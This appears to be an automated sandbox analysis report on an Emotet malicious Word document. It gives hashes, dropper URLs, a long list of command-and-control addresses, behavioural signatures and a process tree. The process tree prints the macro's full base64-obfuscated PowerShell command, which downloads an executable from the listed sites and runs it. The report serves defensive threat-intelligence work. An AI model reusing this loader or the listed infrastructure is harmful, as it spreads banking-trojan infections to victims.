emotet | 66cb8b7e3c4085898b6efb2c9b2d39cb3bd28f6fab85e83e70b4e9a3f441a22f

General

Target
emotet_e1_66cb8b7e3c4085898b6efb2c9b2d39cb3bd28f6fab85e83e70b4e9a3f441a22f_2020-09-21__171242075968._doc.doc
Size 191KB
Sample200921-c387nwthkx
SHA256 66cb8b7e3c4085898b6efb2c9b2d39cb3bd28f6fab85e83e70b4e9a3f441a22f
MD5 765188b679900db78972fada5e5e01c7
SHA1 5176455daab1e5394ca51bc0d8e968aedec4180d
SHA512 9f4f21c9568024eca1684cf3ea557e6afff91faddfc6b9854d98e90dad87528136b63a5f28cfcc32d05f87cb86f7e2b74bc8b5302d0127f661e9289daae59c32
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://minershallmuseum.com/documents/D/
exe.dropper
http://injazjordan.com/moodle/Vh/
exe.dropper
https://site1.xyz/wp-admin/Y/
exe.dropper
http://2bstone.com/vr7tf0c/ZD/
exe.dropper
http://biology-360.com/wp-admin/hv/
exe.dropper
http://tez-tour.site/wp-content/9sB/
exe.dropper
http://iooe.cn/wp-content/hdO/

Extracted

Family

emotet

C2

76.168.54.203:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
5.196.35.138:7080
177.129.17.170:443
87.106.46.107:8080
68.183.190.199:8080
185.183.16.47:80
186.103.141.250:443
64.201.88.132:80
70.32.84.74:8080
68.69.155.181:80
82.76.111.249:443
111.67.12.221:8080
60.93.23.51:80
104.131.41.185:8080
92.24.50.153:80
191.182.6.118:80
61.197.92.216:80
213.197.182.158:8080
137.74.106.111:7080
138.97.60.141:7080
187.162.248.237:80
110.142.219.51:80
51.159.23.217:443
192.241.143.52:8080
190.24.243.186:80
51.255.165.160:8080
212.71.237.140:8080
190.115.18.139:8080
174.113.69.136:80
178.250.54.208:8080
190.2.31.172:80
45.16.226.117:443
50.121.220.50:80
217.13.106.14:8080
217.199.160.224:7080
80.11.164.185:80
172.104.169.32:8080
77.90.136.129:8080
123.51.47.18:80
82.230.1.24:80
74.58.215.226:80
185.94.252.27:443
181.30.61.163:443
111.67.77.202:8080
96.227.52.8:443
2.36.95.106:80
78.249.119.122:80
209.236.123.42:8080
185.215.227.107:443
188.135.15.49:80
83.169.21.32:7080
96.245.123.149:80
216.47.196.104:80
50.28.51.143:8080
5.189.178.202:8080
74.136.144.133:80
72.47.248.48:7080
190.190.148.27:8080
189.2.177.210:443
98.13.75.196:80
185.178.10.77:80
181.129.96.162:8080
67.247.242.247:80
170.81.48.2:80
199.203.62.165:80
204.225.249.100:7080
77.106.157.34:8080
68.183.170.114:8080
45.46.37.97:80
70.32.115.157:8080
190.163.31.26:80
94.176.234.118:443
95.9.180.128:80
104.131.103.37:8080
35.143.99.174:80
91.105.94.200:80
190.6.193.152:8080
155.186.0.121:80
219.92.13.25:80
12.162.84.2:8080
220.109.145.69:80
177.74.228.34:80
77.238.212.227:80
61.92.159.208:8080
186.70.127.199:8090
45.33.77.42:8080
152.169.22.67:80
192.241.146.84:8080
185.94.252.12:80
177.73.0.98:443
65.36.62.20:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	188	3576	powershell.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1472-14-0x00000000021F0000-0x0000000002202000-memory.dmp	emotet
behavioral2/memory/1472-14-0x00000000021F0000-0x0000000002202000-memory.dmp	emotet
behavioral2/memory/1472-15-0x00000000021D0000-0x00000000021E0000-memory.dmp	emotet
behavioral2/memory/1472-15-0x00000000021D0000-0x00000000021E0000-memory.dmp	emotet
behavioral2/memory/1884-18-0x0000000000520000-0x0000000000532000-memory.dmp	emotet
behavioral2/memory/1884-18-0x0000000000520000-0x0000000000532000-memory.dmp	emotet
behavioral2/memory/1884-19-0x0000000000540000-0x0000000000550000-memory.dmp	emotet
behavioral2/memory/1884-19-0x0000000000540000-0x0000000000550000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
30	188	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1472	Quw2u4t.exe
1884	odbc32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\kbdhebl3\odbc32.exe	Quw2u4t.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3956	WINWORD.EXE
3956	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
188	powershell.exe
188	powershell.exe
188	powershell.exe
1884	odbc32.exe
1884	odbc32.exe
1884	odbc32.exe
1884	odbc32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	188	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
3956	WINWORD.EXE
1472	Quw2u4t.exe
1884	odbc32.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 188 wrote to memory of 1472	188	powershell.exe	79
PID 188 wrote to memory of 1472	188	powershell.exe	79
PID 188 wrote to memory of 1472	188	powershell.exe	79
PID 1472 wrote to memory of 1884	1472	Quw2u4t.exe	81
PID 1472 wrote to memory of 1884	1472	Quw2u4t.exe	81
PID 1472 wrote to memory of 1884	1472	Quw2u4t.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_66cb8b7e3c4085898b6efb2c9b2d39cb3bd28f6fab85e83e70b4e9a3f441a22f_2020-09-21__171242075968._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABaADUAbQA0AHEAYQBwAD0AKAAnAFoAJwArACcAaQAnACsAKAAnAHcAXwBrAHMAJwArACcANwAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBzAGUAcgBwAFIAbwBGAGkATABlAFwAQQB4AG0AcgBIAEEAVABcAEoANQBjAGsAaQAxADkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAdQBSAEkAYABUAHkAcABgAFIATwBgAFQATwBDAG8AbAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAsACAAJwApACsAJwB0ACcAKwAoACcAbABzADEAJwArACcAMQAsACcAKQArACgAJwAgAHQAJwArACcAbABzACcAKQApADsAJABYAG4AOQB0ADYAagB5ACAAPQAgACgAJwBRACcAKwAnAHUAdwAnACsAKAAnADIAJwArACcAdQA0AHQAJwApACkAOwAkAEQAeAAwADUAMwBiAGcAPQAoACcATAAnACsAKAAnAHoAdABiACcAKwAnADgANwAyACcAKQApADsAJABJAHkAYgBtAHgANQBtAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAAnACsAJwB9AEEAeABtAHIAaABhAHQAewAnACsAJwAwAH0ASgA1AGMAawBpADEAJwArACcAOQB7ADAAJwArACcAfQAnACkALQBmAFsAQwBoAGEAUgBdADkAMgApACsAJABYAG4AOQB0ADYAagB5ACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQARgB5AHMAMABvAHQAZQA9ACgAJwBYACcAKwAoACcAMwAnACsAJwB5AHoAZQBoAHoAJwApACkAOwAkAEQAagB0AHgAcQByAG0APQAuACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAEIAQwBsAGkAZQBOAHQAOwAkAE4AbAB4AHQAbgBpAGEAPQAoACcAaAAnACsAKAAnAHQAdABwADoALwAvACcAKwAnAG0AaQBuAGUAJwArACcAcgBzAGgAJwArACcAYQBsACcAKQArACgAJwBsAG0AJwArACcAdQBzACcAKQArACgAJwBlACcAKwAnAHUAbQAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAGQAbwAnACsAJwBjAHUAJwArACcAbQBlACcAKwAnAG4AdABzAC8ARAAnACkAKwAoACcALwAnACsAJwAqAGgAdAB0AHAAOgAvAC8AaQBuAGoAYQB6ACcAKwAnAGoAJwApACsAKAAnAG8AcgAnACsAJwBkACcAKQArACgAJwBhAG4AJwArACcALgBjAG8AJwApACsAJwBtACcAKwAnAC8AJwArACgAJwBtAG8AJwArACcAbwAnACkAKwAnAGQAbAAnACsAKAAnAGUAJwArACcALwBWAGgAJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACcAcABzACcAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHMAJwArACcAaQAnACsAJwB0AGUAMQAuACcAKQArACgAJwB4ACcAKwAnAHkAegAnACkAKwAoACcALwB3AHAALQBhAGQAbQAnACsAJwBpAG4ALwBZAC8AKgBoACcAKwAnAHQAdABwADoAJwArACcALwAvADIAYgAnACsAJwBzACcAKQArACgAJwB0AG8AbgAnACsAJwBlAC4AYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAdgByACcAKQArACgAJwA3ACcAKwAnAHQAZgAnACkAKwAoACcAMABjACcAKwAnAC8AJwApACsAKAAnAFoAJwArACcARAAvACoAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwBiAGkAbwBsACcAKQArACgAJwBvAGcAeQAnACsAJwAtADMAJwApACsAKAAnADYAJwArACcAMAAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAtAGEAZABtAGkAbgAnACsAJwAvACcAKwAnAGgAdgAvACcAKwAnACoAaAB0AHQAcAA6ACcAKQArACgAJwAvAC8AJwArACcAdAAnACsAJwBlAHoALQB0AG8AdQByACcAKQArACgAJwAuAHMAaQB0ACcAKwAnAGUAJwArACcALwB3AHAALQAnACkAKwAoACcAYwBvAG4AdABlAG4AdAAvACcAKwAnADkAcwAnACsAJwBCAC8AKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAKAAnAC8ALwBpAG8AbwBlACcAKwAnAC4AYwBuAC8AdwAnACsAJwBwAC0AYwBvACcAKQArACcAbgB0ACcAKwAnAGUAJwArACgAJwBuACcAKwAnAHQALwAnACkAKwAoACcAaAAnACsAJwBkAE8ALwAnACkAKQAuACIAcwBQAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGEAeAA0AGIAdgA4AD0AKAAnAEEAJwArACcAbwAnACsAKAAnAHUAdgAnACsAJwAwADYAbwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE8AawAyAHgAbgA3AGoAIABpAG4AIAAkAE4AbAB4AHQAbgBpAGEAKQB7AHQAcgB5AHsAJABEAGoAdAB4AHEAcgBtAC4AIgBEAG8AdwBuAGAATABvAGEAZABgAEYAaQBsAEUAIgAoACQATwBrADIAeABuADcAagAsACAAJABJAHkAYgBtAHgANQBtACkAOwAkAFYAdgBzADgAbAB1ADgAPQAoACcATgAnACsAKAAnAGQAOAAnACsAJwBhACcAKwAnAG4AcwBkACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAEkAeQBiAG0AeAA1AG0AKQAuACIATABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAyADQANAA2ADgAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQASQB5AGIAbQB4ADUAbQApADsAJABJADIAOABqADAAMAB4AD0AKAAnAE8AJwArACgAJwA5ACcAKwAnAGEAMAAnACkAKwAoACcAdAA3ACcAKwAnAGMAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkANwB0AHoANAA3ADMAPQAoACgAJwBBACcAKwAnAGoAOQB6ADgAJwApACsAJwB2AHQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAHYAeABkAHIAcwA2AD0AKAAoACcAVwBmADMAJwArACcAdwAnACkAKwAoACcAOAAnACsAJwB5AF8AJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:188
- C:\Users\Admin\Axmrhat\J5cki19\Quw2u4t.exe
  "C:\Users\Admin\Axmrhat\J5cki19\Quw2u4t.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\SysWOW64\kbdhebl3\odbc32.exe
    "C:\Windows\SysWOW64\kbdhebl3\odbc32.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1884

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/188-10-0x000001FB79590000-0x000001FB79591000-memory.dmp

Download

memory/188-9-0x000001FB793C0000-0x000001FB793C1000-memory.dmp

Download

memory/188-8-0x00007FF8FA3E0000-0x00007FF8FADCC000-memory.dmp

Download

memory/1472-14-0x00000000021F0000-0x0000000002202000-memory.dmp

Download

memory/1472-15-0x00000000021D0000-0x00000000021E0000-memory.dmp

Download

memory/1884-18-0x0000000000520000-0x0000000000532000-memory.dmp

Download

memory/1884-19-0x0000000000540000-0x0000000000550000-memory.dmp

Download

memory/3956-0-0x00007FF901A90000-0x00007FF902156000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads